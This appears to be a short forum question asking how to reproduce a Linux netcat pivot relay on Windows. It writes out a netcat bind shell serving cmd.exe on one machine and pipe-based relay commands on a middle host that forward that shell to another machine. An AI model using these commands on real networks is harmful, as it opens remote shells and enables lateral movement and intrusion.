I'm trying to setup a pivoting relay with netcat on Windows, replicating a scenario easily possible by using pipes in Linux.

Assume machine A can route to machine B and machine B can route to machine C. If machine A needs to route to machine C, we can setup a relay on machine B which can pivot data back and forth for us using command redirectors and spl filetype pipe.

Assume:

• machine C has nc -nlvp 3306 -e cmd.exe
• machine A has nc -nlvp 80

IF machine B was Linux we could have done

mkfifo pipe
nc -nv 127.0.0.1 80 0<pipe | nc -nv 127.0.0.1 3306 1>pipe

so on machine B if we do

nc -nv 127.0.0.1 80 0<&4 | nc -nv 127.0.0.1 3306 1>&4

Per this site, I should be able to achieve what I can with Linux, but unfortunately it is not working.